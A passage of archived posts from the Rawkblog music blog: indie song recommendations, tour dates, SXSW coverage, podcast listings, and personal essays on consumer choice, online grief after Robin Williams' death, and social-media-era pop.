Drowned in Sound recommended Hannah Lou Clark’s face-melting new torch song today and picked the musician as one to watch in 2015: I am here to agree with them. Clark’s new EP is out now as well.

The post Hannah Lou Clark – ‘Kids In Heat’ first appeared on Rawkblog.

Here is some new music I love.

Jessica Pratt has signed to Drag City, the label of Callahan and Newsom, for her sophomore album. Hard to imagine a better fit for a songwriter who’s already the most compelling new voice in folk music. I find everything about her – the aesthetic, the delivery, the lyrics, the guitar work – intensely, deceptively emotional. On Your Own Love Again is due Jan. 27.

High Highs drew me in with a run of atmospheric singles, but debut album Open Season didn’t stretch the magic all the way through. The group sounds revitalized on free EP Ocean to City, with a beat-driven approach added to their recipe rather replacing it.

Tall Tales and the Silver Lining are apparently from my old hometown of Ventura, California, though they’re Los Angeles-based now. That’s only right: the band should be as close as possible to Laurel Canyon, and the Vitamin D-rich folk-rock legacy that birthed modern acts such as the Beachwood Sparks. The Besides EP is a hearty taste of the band, who will release an album with Other Music next year.

The post New Songs: Jessica Pratt, High Highs, Tall Tales and the Silver Lining first appeared on Rawkblog.

In retaliation to the New York Times’ unprovoked assault:

Are you ready for some real talk about brunch?

— Dave Spoowkblog (@davidegreenwald) October 10, 2014

Brunch is the after-after party for last night’s clubbing or the pre-party for tonight’s. Clubbers are attractive and wealthy and obnoxious.

— Dave Spoowkblog (@davidegreenwald) October 10, 2014

Brunchers line up for hot brunch restaurants the same way they do to get into VIP.

— Dave Spoowkblog (@davidegreenwald) October 10, 2014

HOWEVER, brunch is also a magical social ritual — the freedom of the weekend, the chance to relax, see friends, treat yourself

— Dave Spoowkblog (@davidegreenwald) October 10, 2014

Final-er thought: brunch *is* conspicuous consumption at its most aspirational, celebratory apex. It is Kanye buying a chain, but for toast.

— Dave Spoowkblog (@davidegreenwald) October 10, 2014

So, dummy, just like you go to your neighborhood bar for a low-key drink with friends, brunch accordingly

— Dave Spoowkblog (@davidegreenwald) October 10, 2014

Final thought: brunch is delicious.

— Dave Spoowkblog (@davidegreenwald) October 10, 2014

Going to walk across the street now and order a pancake with goat cheese in it

— Dave Spoowkblog (@davidegreenwald) October 10, 2014

Organized for clarity.

The post Brunch: Not For Jerks first appeared on Rawkblog.

New music from the divine Ms. Apple, an original song for the title sequence of Showtime’s The Affair. Fiona’s been playing surprise shows lately with guitarist Blake Mills, whose new solo album is the best-engineered record I’ve heard all year. (The songs are nice, too.)

The post Fiona Apple – “Container” first appeared on Rawkblog.

Thom Yorke released a beautiful new solo album on Friday. You’ve grabbed it already, no doubt, but I thought it would be cool to put it here and tell you that you can download it from Rawkblog. Technology!

The post Thom Yorke – ‘Tomorrow’s Modern Boxes’ first appeared on Rawkblog.

I am not a person who worries about small decisions: where to go to dinner, for instance, or what to order once I’m there. It’s the bigger ones that wreak havoc on me, and it’s not even so much the size as the duration. If I’m going to do or buy something I’ll own or use or enjoy for months or years to come, that’s when the anxiety comes. (Somehow, getting married was easy.)

In the Oregonian last week, I wrote about buying a new pair of headphones, an overwhelming process that I had to cut short for sheer necessity. I listen to music, among other things, for a living, but I figured my needs were simple: I needed a set of modestly priced headphones with studio-style accuracy and no fancy bells, whistles or external DACs. I work in an office, so I’d opt for close-backed instead of open. One would think that would trim down the market to a few obvious options.

To a point, it did: the Sony MDR-7506s were a Wirecutter pick and probably the most widely used set of cans in the industry. But their isolation’s not terrific and I didn’t think they’d be much improvement over the Sony MDR-V6s, the solid but entry-level set I’d been wearing out for the last decade or so. A couple of engineer friends recommended Audio-Technica’s M50s as an alternative, my brother happened to have a pair and after a few minutes of listening, they were pretty clearly great for my needs: strong isolation, a neutral, perhaps slightly bass-leaning sound, and excellent stereo detail.

Problem solved, right? Until I thought, well, I’ll look around a bit more. That was a mistake. The $100-$300 headphone market is a flood of product and arbitrary opinions. Without rewriting my Oregonian piece, what surprised me most wasn’t so much the range of brands – Audio-Technica, Sony, AKG, Sennheiser, Grado, Denon, Beyerdynamic, Bang and Olufsen, and ones I didn’t consider, like Bose and Beats – but of variations.

Audio-Technica alone makes a “professional studio monitor” line, noise-cancelling, “solid bass,” high-fidelity (higher than the studio monitors?!), DJ, gaming, two varieties of sports styles — it’s just ridiculous. If you drill down to the specs, a pair of red DJ headphones actually have more sensitivity and a broader frequency response than the M50x, the top-grade, and more expensive, studio option, which I might have learned if I’d been willing to spreadsheet like 500 headphones. Among the studio monitors, A-T makes four different pairs, which range from the $49 20x (the Amazon street price) to the $169 50x. The 30x is 20 bucks more than the 20x and the 40x is another $30 on top of that. I’ll go ahead and ask: why?! Who needs this?

This isn’t a disposable product, nor is the brand a fashion statement. As something you might use every day, it’s an investment piece. Am I, the consumer, supposed to be truly convinced that the $20 separating the 20x and the 30x is a meaningful distinction, when two more headphones are hovering above it?

There’s a certain logic and psychology in having tiers: some will buy the cheapest option by nature, while others will reach for the luxury item; pragmatic individuals looking for value, like me, will land somewhere in the middle. But that’s three options, not four.

Sennheiser makes 37 over-the-ear headphones. 37. 11 of these are under $100, including the HD 201, 202, 203 and 205s. Comically, there’s no price point between the HD 700 ($749.95) and the HD 800 ($1,449.95.) It’s lonely at the top.

It’s not just headphones, an industry obsessed over by message-board nerds who often seem to care more about velour pad hacks than actually listening to music. When I moved to Portland last summer, it occurred to me that for the first time, I’d actually need a wardrobe for cold weather. I decided to start with wool socks. The factors here go beyond simple to essential: warm. Comfortable. Not sweaty. O.K., and dryer-safe, too.

You can probably go to Costco and happily call it a day with this, but looking at any veteran outdoor brand — L.L. Bean, Eddie Bauer — will give you dizzying options. REI has 123 types of men’s wool socks: socks for biking, socks for running, socks for hiking, other socks for hiking, socks for hiking up mountains, socks for trekking, socks that are medium-weight and ultralight. That’s just the first page of results. Each of these come in a range of colors, of course. Some of them even have stripes!

I cannot believe that America’s sock-buying male population needs or wants or can financially support 123 types of socks. I think we need about seven or eight in about three colors each. Light-weight, middle-weight, heavy. Snowboard, boot, crew, no-show. That’s it: that’s the entire wool sock industry. Let’s not even get into cotton. (“Camp socks,” I’m here to warn you, are bullshit.)

Socks, thankfully, are a lot cheaper than headphones and I needed to stock up, so I settled on a style — medium-weight hiker, which would fit in sneakers or boots if need be and handle moderate Portland winter just fine — and ordered it in five or six different brands. And just like with headphones, with Sonys, Sennheisers, Denons and Audio-Technicas all offering their own sonic wrinkle for what would seem to be the same particular product, the differences were significant. Some were thicker than others. Some were scratchy and itchy; others felt a bit plastic. Some were easy victims to the washing machine.

Eventually I found a kind I liked: Land’s End, which only makes two kinds of boot socks, by the way. The good kinds. In the sock world, too, there is some consensus: everybody loves Smartwool, which even has smart in its name, except that the socks are $5 or $10 more than everybody else’s. Smartwool makes 23 kinds of hiking socks, which makes me want to strangle a sheep.

Sometimes walking into a store can help cut down on the stupidly infinite choice of the Internet: the audio stores I walked into only had so many headphones on the wall to compare. I had to buy a pair of hiking socks on Sunday in a rush to report on an Oregon fire and reached for a pair of Wigwams because they were on the shelf. Aside from a 10% shift in the wool ratio, they look and feel identical to the Land’s End socks, so now I have two brands to count on.

But Wigwam, too, makes dozens more socks beyond the ones so obvious that they sell them in stores, and I worry about what that means. It’s difficult to know if all of these options and price points and fractional differences are really filling market voids or just creating confusion and waste and a kind of erstatz demand. Our caveman brains are not really cut out to deal with this many options, this many pairs of socks. Buying things feels good: Having one means not having another, which means buying that one later feels good, too. Feels: not is.

In director Gary Hustwit’s 2009 documentary Objectified, he glosses across heroes (Jony Ive!) and staples of modern industrial design before driving off into an inevitable gulf: all this shit has to end up somewhere, and that somewhere is the trash heap. Everything is destined for the pile after it breaks or worse, we find something better or flashier for our itchy credit cards. Even Apple, with a product lineup that’s a model of simplicity and utility, would probably prefer it if you bought a new phone every year.

A backlash exists. There’s been a fair amount of teasing and generational criticism against the Millennial-driven trend toward craft and artisanal objects, a movement that’s gone hand-in-hand with living affordably (some would say “ironically”) and avoiding the ultimate headache purchases, cars and homes. We were handed an economy we never asked for and a planet under duress. There’s genuine punk antagonism in even the most twee Etsy storefront: a rebellion against mass production, against the unnecessary, against landfills and carbon and the thin pleasure of rampant consumerism.

Me? I only ever want one thing: the thing I need. Trying to find it drives me crazy, but at least there are 121 pairs of socks I never have to think about again.

The post On The Agony Of Choice first appeared on Rawkblog.

Andre 3000 said that better. Let me take a step back.

When Rawkblog moved from Blogspot to WordPress in 2009, it deleted everyone’s bylines. I’ve been meaning to fix that ever since and found time today: the contributions of my old friends Greg Katz, Alfred Lee and Carman Tse, done largely from 2007-2008, when I was pushing to get the blog into cash-making traffic peaks, are now all labeled. I’d forgotten most of the posts in question and had to guess at authorship here and there, which means I probably skipped a couple of Greg posts.

We all had more free time back then. Greg runs one of Los Angeles’ best boutique labels and plays in LA Font. Carman is writing for LAist. Alfred is an L.A. Press Club journalist of the year. I miss them.

Reading their old posts meant reading a lot of my old posts. I started the blog formerly known as The Rawking Refuses To Stop! in March 2005: this is me, then.

The idea of talking in public on the Internet was pretty new, still. I didn’t know what SEO was. I was posting MP3 files on random file hosts so I’d have a reason to talk about music, hoping not to get an RIAA takedown email. The early–and most prolific, for better or worse–years of this blog are absurdist and silly and generally not really meant for the history books. Eventually, I’ll probably delete a lot of it, anything not useful for my or Google’s records.

But I am daunted today at how mean and judgmental a lot of my writing was then. I just deleted a shameful amount of rude, ridiculous posts just about Pitchfork (but not all of them). It’s not how I see myself or what I do, which I suppose is the product of age and empathy. So I’m sorry for that, and sorry for needling and rattling a loose keyboard when I should’ve been trying to be a good writer here instead. (I was doing a better job over at Cokemachineglow and beyond, it turns out.)

I’m a little surprised, given how free-form and manic and vicious the whole enterprise was back then, that anyone was following at all, and just as surprised I found time to post something — even something short or stretched or desperate — nearly every day in between school and life and freelancing and “real” work. But I did. It’s who I was, and now I won’t forget it.

I’m still here. You’ll notice some cosmetic improvements around the site and large links below to follow me via RSS and my email newsletter as we wait for social media to Wall Street itself out of bearability. I’ll be tinkering a bit more. I’ve taken hundreds of photos in the last few years which haven’t made it here, and I’ll be posting them soon, too.

I said sorry. Now I’ll say thanks. Let’s keep going.

The post Would I, Should I Be? first appeared on Rawkblog.

I was going there anyway. UCLA had the best student newspaper in the country. I loved the campus. I wanted to be in a city. I didn’t want to move to Berkeley and eat multigrain bread under perpetual clouds. (Not yet, anyway.) But the thought of living in the same city as my favorite musician, driving across town to see him at Spaceland or the Silverlake Lounge every month or so… it had a draw.

Smith was dead less than a month after I started school. In 11 years, his music hasn’t faded at all to me, and his place at the center of my musical life has only grown: I didn’t know when I fell in love with Largo and Jon Brion and the Softies that they had been in his orbit. Brion wound up being the musician I saw every month, as often as I could.

There’s a new documentary about Smith making the festival rounds, Heaven Adores You. It’s the first to include his music, which it does in poetic and powerful ways. I saw it this afternoon: his songs have the chance to really breathe. I’ll be writing more about the movie in the Oregonian soon, but I want to say this now: I was watching the credits intently, looking to catch the names of the songs featured, and then they kept scrolling into the “thank you” section.

Rawkblog was on that list.

This blog’s always been about whatever music was passing through my headphones. It’s never been a proper Smith fan site, but it’s been important to me to pay him tribute, gather up his songs, keep his memory alive in some small, inadequate way. I am moved and grateful that it was noticed.

The post ‘Heaven Adores You’ And Me first appeared on Rawkblog.

Here’s what they had to say. Visit Oregonlive.com for my full report.

The post Interview: Kiss first appeared on Rawkblog.

My instinct, not for the first time, was disbelief: I searched Google News, then went back to Twitter. Yes, it was there. Robin Williams, dead at 63 in an apparent suicide. He’d been to rehab a year ago and been suffering lately from depression, the early word went.

By 3:55 p.m., my timeline was 100% Williams. Lists of favorite movies. Retweets of famous people’s parting words. Suicide hotlines and posts about mental health. The rush of galleries, articles, obituaries, tributes. And then, of course, the backlash, judgment calls on how others were reacting to a man’s death by promoting a presumed agenda, attacks on a news network choosing sensationalism over a family’s wishes. There was no time even to think, barely enough to feel.

Humans have been learning how to deal with grief for thousands of years. We are not done yet. For practicing Jews, my religion, there are strict structures for what to wear, what to do, and for how long: this is intended as a comfort, to allow mourners to channel their energy into pain and release and let the mechanics of daily life take care of themselves.

But there is no structure online, where we are together but not, where we know each other until we don’t. Where acting and being can be at odds.

By 4, I was in line at a Portland theater, about to see the band Broken Bells get interviewed for a radio program. I was there as a journalist, to observe and report and probably tweet. But should I? What would be right? Or kind? Or respectful?

Twitter’s closest analogue, if it can be shrunken and distilled to one, is high school: its conversations are often superficial, snappy and status-minded, a hallway of monologues happening at once. Communities form, and grimace with the same infighting of senior year cliques; each week, a topic or two finds its way to Music Journalist Twitter and the rest of the world ceases to exist. But national events draw everyone together in startling ways, from the Oscars to presidential debates to celebrity deaths. In some ways, Twitter has renewed the power of television: when everyone you know is watching together, the power to connect over it is unprecedented.

We have approached this, like so many things, in fearful, protective ways, shielding ourselves in snark and disdain even as we watch the same Grammy Awards as the millions who put it on because it’s entertaining. So is joking about it, sure, but the connection — the humanizing power of the shared moment — is lost if Twitter is just a performance, millions of little personal brands acting in millions of dark off-Broadway plays to occasional diplomatic applause.

I scrolled through my feed on Monday and didn’t know how to react. I felt the need to say something–to recognize the moment, but also be part of it, the urge I imagine most of us felt. I named some Williams films that meant something to me. “So sad,” I finished, a stupid, obvious thing, but an honest one and one that would fit in 140 characters. A convenient truth.

I am grappling with this. I think we all are. The Twitter Rabbis have rendered no Talmud for us yet. The Academy posted an image from “Aladdin,” a film Williams served as a wonderful voice actor for, with the caption, “Genie, you’re free.” I saw people deeply touched by this. And the metaphor – a man seemingly trapped by his demons, given a release from them – what greater comfort could there be? But I found it viscerally sickening, diminishing. A human being died in agony, not in the warm glow of a cartoon’s happy ending. I nearly tweeted back, but didn’t. There was no need to add more hurt.

Twitter, and whatever will follow it, gives us the capacity to share like never before, and what we have in common is culture: music, art, film, TV, fashion. At our best, we can learn from each other on deeper, more painful topics, as the #iftheygunnedmedown hashtag showed earlier on Monday. More safely, though, shared culture means Robin Williams is the closest thing to a mutual family member that many of us may have. The outpouring I witnessed, that we all witnessed, is meaningful and powerful: it captures us at our most vulnerable and honest and human. As a kind of family.

But it also captures us at our worst, in the ways we let our own voices and needs push aside others. In the way honesty becomes performative; when sharing becomes sensationalism; helping when there can be no help.

We all respond in our own ways from our own worlds, which makes it easy to make grey areas sharpen into contrast. There was so much grief, so much public pain on Monday: Robin Williams was not our dad or our brother or our cousin. He was a part of our lives, yes, but how much and how big? In the back of my mind, a voice spoke: are people really this sad?

It’s an ugly question. I choose not to answer it. But we still have the old ways of grieving, and they’re often done in digital silence. It’s not just deaths: take the dissonance between the hum of discussion over Beyonce and Jay Z’s rumored marriage woes and the tip-toed status change that accompanied your last Facebook friend’s divorce. I went to my high school reunion last year, and nearly certain I’d seen one woman’s status update to engagement in previous months, I asked if she’d gotten married. “Oh no,” she said, pushing the question aside. She was just having fun, enjoying life. Either my memory was bad or her embarrassment was worse.

We are all learning how to live online. What to reveal and when; how to really listen. So much nuance and expression doesn’t come across: even simple conversation is difficult and often ends in anger or foolishness. We have to recognize that we are building fresh structures right now, new means for understanding each other and being together. Not everyone will want to. But we’re all here. We have to try.

The post On Robin Williams and fumbling our way through Internet grief first appeared on Rawkblog.

It’s happened: LA Font has become as good as the ’90s bands who architected the Los Angeles act’s reference points. “Teen Bazooka” is the top half of the indie rockers’ new Kill/Hurt single, which drops July 29, and their first new music since terrific sophomore album Diving Man. Full disclosure: these guys are my pals, and they might also be yours soon enough. Catch them on their East Coast touring debut this summer, with a Brooklyn stop at Baby’s All Right on Aug. 24.

Buy it on Bandcamp or pre-order the vinyl from Kill/Hurt.

Photo credit: Phillip Gadrow

The post LA Font – ‘Teen Bazooka’ first appeared on Rawkblog.

A decade or so later, I’ve acquired quite a taste for a well-made emo record, and have dug hard into Rainer Maria, Sunny Day Real Estate and other guitar-playing, feelings-having heroes of the era. I still haven’t listened to Braid’s old stuff, but new release No Coast is everything I want: passionate, high-energy, immaculately recorded and sounds better the louder you play it. It’s $5 on Bandcamp, which is very punk and also very affordable.

The post Braid – ‘No Coast’ first appeared on Rawkblog.

I went to the 2014 Vans Warped Tour, shot 20 or so bands and learned about Kids Today for the Oregonian.

Photo: Yellowcard / credit: David Greenwald/The Oregonian

The post Warped Tour 2014 first appeared on Rawkblog.

Sorta-shoegaze act A Sunny Day in Glasgow has always seemed like the kind of band I’d love — Glasgow alone is usually a free pass to my heart, though the band’s actually from Philly — but they never connected until Sea When Absent, an album that twists jarring experimentation and huggable pop together like Lemmon and Matthau. It’s out now on Lefse.

2014 summer tour dates:

07/03 – Boston, MA @ Great Scott
07/06 – Washington, DC @ DC9
07/07 – Pittsburgh, PA @ Club Café
07/08 – Chicago, IL @ Empty Bottle
07/09 – Minneapolis, MN @ Icehouse
07/11 – Spokane, WA @ The Bartlett
07/12 – Seattle, WA @ Crocodile Back Bar
07/13 – Portland, OR @ Mississippi Studios
07/15 – San Francisco, CA @ Hemlock Tavern
07/16 – Los Angeles, CA @ Bootleg Theatre
07/17 – Tempe, AZ @ Last Exit
07/19 – Kansas City, MO @ Czar Bar
07/20 – Forth Worth, TX @ Lola’s Saloon
07/21 – Austin, TX @ Mohawk
07/22 – New Orleans, LA @ Gasa Gasa
07/23 – Athens, GA @ Caledonia Lounge
07/24 – Charlotte, NC @ Snug Harbor
07/25 – Baltimore, MD @ Metro Gallery
07/26 – Brooklyn, NY @ Baby’s All Right
07/27 – Philadelphia, PA @ Johnny Brenda’s

The post A Sunny Day in Glasgow – ‘In Love With Useless’ Video first appeared on Rawkblog.

12 dream-pop songs from ’13/’14. The sequel to I Never Learned To Drive. Enjoy. Get music like this in your inbox with the Rawkblog newsletter.

The post Mixtape: I Never Learned To Drive II first appeared on Rawkblog.

Krystalmath is the solo project of Ravens and Chimes‘ Rebecca Jean Rossi. Lead track “Follow Me” is a pop anthem that shakes off the dust of her regular band’s chamber-pop with twinkling synths and the jackhammer of digital drums, not to mention a YOLO-minded lyrical turn that eyes a love that lasts “until the break of dawn.” Consider the Krystalmath/Kesha 2015 arena tour booked.

The post Krystalmath – ‘Follow Me’ first appeared on Rawkblog.

I wrote about Ellie Goulding’s exhilarating Tuesday night set for the Oregonian.

Calling Goulding, a Serena van der Woodsen blonde who sells her portrait on $30 t-shirts, a pop star is complicated: her sonic DNA is as much indebted to EDM and house, and in her beat-heavy sprint through the set’s final third, she led the Schnitzer audience in what must have been the venue’s first rave. (Don’t tell the Symphony.)

The post Ellie Goulding @ Arlene Schnitzer Concert Hall, 4.22.14 first appeared on Rawkblog.

Here’s BOOTS’ “Dreams,” a promising cut from the emerging R&B songwriter with the best co-sign imaginable. New album WinterSpringSummerFall is due on Roc Nation in a TBA season.

The post Boots – ‘Dreams’ ft. Beyonce first appeared on Rawkblog.

A really special song from Florida experimental act Hundred Waters, whose second album The Moon Rang Like A Bell is due May 27 on Skrillex’s OWSLA label.

The post Hundred Waters – ‘Xtalk’ first appeared on Rawkblog.

1) I didn’t know you could embed Facebook posts. But you can!

2) Facebook has gone from being a helpful clearing house of information to an algorithm-driven, advertising-based platform that encourages people like me to pay money to get people like you to see what I’m doing. There is a better way to do that, which is to click the “Get notifications” button as pictured above and then you’ll — allegedly — see every Facebook update. Go ahead, if you’re into it. I’ve been doing this for my favorite musicians as well and it’s a nice improvement over the newsfeed.

Here’s the Rawkblog Facebook page. You can also sign up for the David Greenwald + Rawkblog mailing list, which is a monthly email with my best writing, good reads and some music picks.

Thanks, folks.

The post Rawkblog on Facebook first appeared on Rawkblog.

Cover Story: Mac DeMarco
Evan Minsker, Pitchfork

In person, he smiles and makes you feel like you’re in on his jokes, however bizarre or disgusting they may be. He’s the friend who actively looks for the party, drinks way too much when he gets there, and is eventually found passed out in the closet. He’s an auteur with a lampshade on his head. A punk kid with moon eyes. An unwashed chain-smoker from the Canadian flatlands who keeps coughing between sentences.

First Listen: Nickel Creek, A Dotted Line
Ann Powers, NPR

Moving between her brother’s earth and her compatriot’s air like the woman thrown aloft on the album’s cover, Watkins is the listener’s close companion. Her fiddle lines are warmly authoritative, her voice always certain of the direction it takes even at its most vulnerable, as in her pensive reading of the Sam Phillips song “Where Is Love Now?” — so distinct from Jimmie Dale Gilmore’s equally definitive version.

Frankie Knuckles, Godfather of House Music, Dead at 59
Michaelangelo Matos, Rolling Stone

In the summer of 1987, a group of English DJs—including Paul Oakenfold and Danny Rampling—traveled to the Mediterranean island of Ibiza and were turned on to both a more expansive playlist than usual, thanks to DJ Alfredo of the open-air club Amnesia, and a new drug: MDMA, or Ecstasy. Bringing that combo back to England, Rampling’s Shoom club, followed by Oakenfold’s Spectrum, birthed what the Brits called “raves”: enormous gatherings, usually in warehouses or open fields, of kids wearing smiley-face T-shirts while dancing all night, often on Ecstasy, to house and techno.

Knuckles wasn’t interested.

Pharrell Williams on Advanced Style Moves and That Oscar Snub: My Song Will “Be Here For 10 Years”
Zach Baron, GQ

In retrospect, were you unhappy back then?
Of course. Because I felt like I had amassed this big body of work, most—not all—but most of which was just about self-aggrandizement, and I wasn’t proud of it. So I couldn’t be proud of the money that I had; I couldn’t be proud of all the stuff that I had. I was thankful, but what did it mean? What did I do? And at this point, where I came from, I’m just throwing it in that kid’s face, instead of saying, “Look at all the fish I have, and look how much we’re going to eat.” It should’ve been—at least a part of it—teaching them how to fish.

Kanye West: A Roundtable
Rookie

Given his experimental, high-aiming vision, to discount him as anything less than an artist is ill-informed and, yes, bigoted. When people say Kanye is “ranting,” they should consider that his words are a result of his having painstakingly created work that draws in all elements of his life experiences and artistic obsessions, offered it to an audience, and been told, “You’re a rapper—this is not what you’re supposed to be doing!” Kanye’s confidence is not cockiness for the sake of cockiness; it’s a coping mechanism to battle his insecurities and silence his critics. He needs to yell louder than the people who are telling him he’s doomed to fail, or their voices will drown out his own.

There are more. Find them!

The post The Tourist’s Guide to 2014 Music Writing first appeared on Rawkblog.

Consequence of Sound and Radio.com writer (and Rawkblog Presents alum) Paul de Revere joins the show to talk about the evolution of SXSW, the tragic deaths that marred this year’s festival and the best bands we managed to see.

Download or subscribe in iTunes: Episode 20: SXSW 2014 (Paul de Revere)

Previously:
* Episode 1, Pitchfork Fest (Chris Ott, Paul De Revere)
* Episode 2, The Dark Knight Rises (Mark Humphrey)
* Episode 3, LCD Soundsystem and Shut Up and Play the Hits (Greg Katz)
* Episode 4, Is Food the New Indie Rock? (Erika Bolden, Paul De Revere)
* Episode 5, Lit Blogs & “Against Enthusiasm” (Jacob Silverman)
* Episode 6, Taylor Swift / People’s List (Adam Barhamand)
* Episode 7, Fleetwood Mac / Tribute Albums (Rachael Maddux)
* Episode 8, Deeper Into Comic Books (William Goodman)
* Episode 9, Hip-Hop, Humor & Turquoise Jeep (Clayton Purdom, Colin McGowan)
* Episode 10, Fuck Yeah Menswear (Lawrence Schlossman, Kevin Burrows)
* Episode 11, Fall Music Preview (Evan Abeele of Memoryhouse)
* Episode 12, Hip-Hop & Hebrews (Simon Vozick-Levinson, David M. Goldstein)
* Episode 14, 2012 Year in Review (Jeremy D. Larson)
* Episode 15, Freelance Life (Paul de Revere, Erik Burg, Tyler Andere)
* Episode 16: Magic: The Gathering (Jacob Burch)
* Episode 17: “Pretty Little Liars” (Stephen Thomas Erlewine)
* Episode 18: Pop-Punk (Annie Zaleski, Eloy Lugo)

The post Rawkblog Presents, Episode 20: SXSW 2014 (Paul de Revere) first appeared on Rawkblog.

40+ photos and every band I wrote about are now available on the Oregonian. It was fun, mostly, but I think I’ll take next year off.

The post SXSW 2014: Complete Coverage first appeared on Rawkblog.

SXSW.Rawkblog.com
I’ve done a guide to SXSW the last two years. This year’s is a whole free website, with tips on tacos, #menswear, avoiding lines, bands and pretty much everything else you need to know to have a great time or get a sense of the craziest festival on Earth.

Why South by? 13 Portland bands explain their trips to SXSW
For the Oregonian, I surveyed 12 bands and interviewed the Chicharones, an independent hip-hop act that’s been attending since 2001. Given the Lady Gaga situation, I found their answers pragmatic and interesting.

SXSW 2014: 9 Portland bands the world needs to know
A few of my local favorites. Worth your time whether or not you’ll be in Austin.

Be Your Own Tastemaker: Music Discovery in 2014
I’m moderating a panel with some smart folks (including Bandcamp’s Andrew Jervis) about the health of music discovery and how to go about finding music yourself, minus the filters. I can’t promise I won’t make fun of Spotify. It’s next Thursday at 12:30 in the Convention Center.

I will be reporting all next week on Oregonlive.com/music and on Twitter. See you at the shows without the free stuff.

The post Rawkblog vs. SXSW first appeared on Rawkblog.

Michigan singer-songwriter Nathan K. reminds me of the ostensibly whimsical, inwardly miserable, entirely wonderful folk music of Jim Guthrie, and new single “Most Birthdays” doesn’t miss a step. This one’s from his upcoming album, due (presumably) later this year.

Please don’t tell me you missed his 2012 album, Dishes. You did? Here it is.

The post Nathan K. – ‘Most Birthdays’ first appeared on Rawkblog.

If you are a writer (or a person of any sort, attempting to make a living doing an uncertain, lovable thing), you will see pieces of yourself in the essay, frowning back at you, or maybe you’ll judge Gould’s optimism. It felt so familiar that I read it as an alternate history of myself, in which I finished the screenplays or the book project I worked at and didn’t quite complete during two years of freelancing, two years when it felt more important to take the next assignment and keep money coming in than block off a few weeks to breathe and polish the bastards off. Freelancing was already the biggest risk I’d ever taken in my anxious Jewish life. It seems the next step might’ve been off a cliff.

I didn’t make my decisions entirely out of fear or Vulcan logic. I have a partner, like Gould, and having another person in your life rearranges your options in a way I am grateful for. I still want to finish the slasher screenplay and the sitcom pilot and the music industry book; I have learned, though, that I can only wrap my head around so many projects before it stretches too thin for any of them. I should probably start meditating or lifting weights. Something. But I did spend four hours tonight finishing my exhausting, terrible freelance-year taxes and I will celebrate by knowing my day job will be there for me tomorrow and all I have to do right now is sleep. Perchance to dream.

The post Emily Gould / Writing and Debt first appeared on Rawkblog.

Los Angeles singer-songwriter Irvin Dally (formerly prefaced by a J.) will release a new EP of studio recordings soon, he says:

Received the masters for 5 new songs today.
It’s been in the works for a while now, since recording with Duane at Shangri-la Production in Kentucky fall 2013.

There’s no release date as of yet, but I’m looking forward to sharing the first recordings I’ve done in 3 years and the first project I’ve done in-studio.

1. Savanna
2. The Punch Bowl
3. Brown Sugar
4. I’ll Have Another
5. The Dancer

Dally played Rawkblog and TwentyFourBit’s 2012 SXSW party and I’ve been waiting for new music ever since. Guess I can wait a little longer.

The post Irvin Dally announces new EP first appeared on Rawkblog.

Laptop soul is probably played out by now, but I’m not sick of it, not when it tries this hard. Young & Sick’s “House of Spirits” captures some particularly lovely harmonized bedroom vocals and gets surprising and squiggly in the breakdown. They have many more jams on SoundCloud, and while you’re here, I’ll point you to Portland’s Shy Girls next.

The post Young & Sick – ‘House of Spirits’ first appeared on Rawkblog.

If I said Paramore was my favorite rock ‘n’ roll band working, I would not be lying. I would also not be lying if I said I wish the last two National albums didn’t sound like music to feel old to while heating up formula for your screaming six-month-old. This video is terrific.

More Paramore: Discussion: Why Are We Scared To Like Paramore? | New Music: Paramore – ‘Monster’

The post Paramore – ‘Ain’t It Fun’ Video first appeared on Rawkblog.

Do you like Real Estate’s guitar sounds, but wish dudes were significantly more nerdy? Is Recent Drama by Pants Yell! still on your turntable all these years later? Are you wearing a cardigan right now with or without a shawl collar? Have I got a song for you.

Diners is a band from Phoenix. Their next album is out on Diet Pop Records later this year.

The post Diners – ‘Citrus’ first appeared on Rawkblog.

The video is on the spookier side, as Fear of Men’s visual material tends to be, but the song — presumably a tease from their proper debut album, following best-of-2013 contender Early Fragments — is simple and lovely. Can’t wait.

The post Fear of Men tease lovely new song first appeared on Rawkblog.

A brief list of the moments on Warpaint’s self-titled sophomore album that steal like guitar-playing magpies from Radiohead:

* The patient entrance of the lead guitar on “Intro” and the way the distortion layers coalesce borrows from “These Are My Twisted Words.”

* In “Keep It Healthy,” the song’s disorienting arpeggios evoke “In Limbo.”

* The clean lead guitar about 1:20 in during “Disco//very” is pure Jonny Greenwood.

* The ghost breakdown of “Go In” sounds like Thom Yorke is actually singing on it. (Is he? He is, right?)

Etc. None of these are bad things: I love hearing them. Presumably they hired Radiohead producer Nigel Godrich to mix the record for exactly the above reasons. And all of it is filtered through Warpaint’s own undeniable personality, which makes itself apparent from the opening moments of “Intro,” which leaves in a studio fuck-up as a goof. A goof, on a record this dark! It is a relief when a band reminds you that they know playing music is fun and they are not in fact applying reverb filters to their own belly buttons for a future museum/DIY venue exhibition. Warpaint is deep and mysterious and ripe for exploration. It is a relief.

The post Warpaint – ‘Warpaint’ first appeared on Rawkblog.

Music scenes are always like summer camp, brief, blissful and better in your memory. But what if those memories are from last week?

We live in a moment of spectacular nowness. You may be reading this between scrolling through Instagram and favoriting tweets, standing like the Watcher or A, the mastermind of Pretty Little Liars, as the lives of friends and frenemies update in front of you. Moments are recorded and, in that act, altered, a story you or they might have told 6 months from now captured instead in the hashtags of a VSCO-filtered image.

Rather than see selfies and humblebrags as wholly narcissistic acts, I find them a natural and even healthy response to a national mood. Global warming is on the verge of ravaging the world; the president who ran on hope has failed to push past a horrific Congress and, in his civilian drone strikes and NSA security state, done poorly enough on his own steam. An economic disaster and the corporate abandonment of the American middle class in favor of dizzying CEO bonuses and exported labor has left young people with little optimism or long-term career prospects. The Millennial generation’s greatest success, Mark Zuckerberg, is a conniving liar who has accomplished the wonderful achievement of connecting us, only to sell our every thought down the river for further commercial exploitation. Efforts to turn the tide — Occupy Wall Street, for one, and voting for Obama, for another — have been largely futile. What’s left is the moment before us. Let’s not even start on the music business.

It is no coincidence that the social media era comes soundtracked by music insistent on not only living in the moment, but stretching it into a shield. Led by Drake’s “The Motto,” recent hits by Ke$ha, One Direction, Avril Lavigne, Daft Punk and Miley Cyrus have all embraced the existential finality of Tonight Only, a period of freedom and pleasure that can, that must, last forever. The timeline of these songs is generally lengthened by drugs and alcohol, methods of erasing the past and present and only leaving nowness — or numbness, as more pragmatic writers such as Frank Ocean have observed. Only Katy Perry’s “Last Friday Night” — in retrospect, the wistful exclamation mark to her gleeful party-girl period — allows for the possibility that all this has happened before, and with luck, will again.

